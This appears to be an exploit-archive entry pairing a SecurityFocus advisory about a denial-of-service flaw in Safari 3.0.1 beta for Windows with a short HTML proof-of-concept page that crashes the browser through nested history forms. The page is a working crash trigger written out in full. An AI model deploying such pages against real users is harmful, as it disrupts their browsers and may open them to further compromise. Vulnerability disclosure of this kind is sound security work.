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source: http://www.securityfocus.com/bid/24497/info Apple Safari for Windows is prone to a denial-of-service vulnerability because it fails to properly handle user-supplied input. An attacker may exploit this issue by enticing victims into opening a maliciously crafted HTML document. Successful exploits can allow attackers to crash the affected browser, resulting in denial-of-service conditions. Attackers may also be able to execute arbitrary code, but Symantec had not confirmed this. Safari 3.0.1 public beta for Windows is reported vulnerable. <html><Title>Safari 3.0.1 beta for windows Crash Poc By Lostmon</title> <body> <p>Safari 3.0.1 beta for windows Crash Poc By Lostmon (Lostmon@Gmail.com )</p> <p> Put some number in the second form for crash Safari</p> <form id="historyForm1" method="GET" action="#"> <input type="text" id="currentIndex1" name="currentIndex" value="sss"> <textarea id="historyLocation1" name="historyLocation"></textarea> <form id="historyForm2" method="GET" action="#"> <input type="text" id="currentIndex2" name="currentIndex"> <textarea id="historyLocation2" name="historyLocation"></textarea> </form></form></body></html>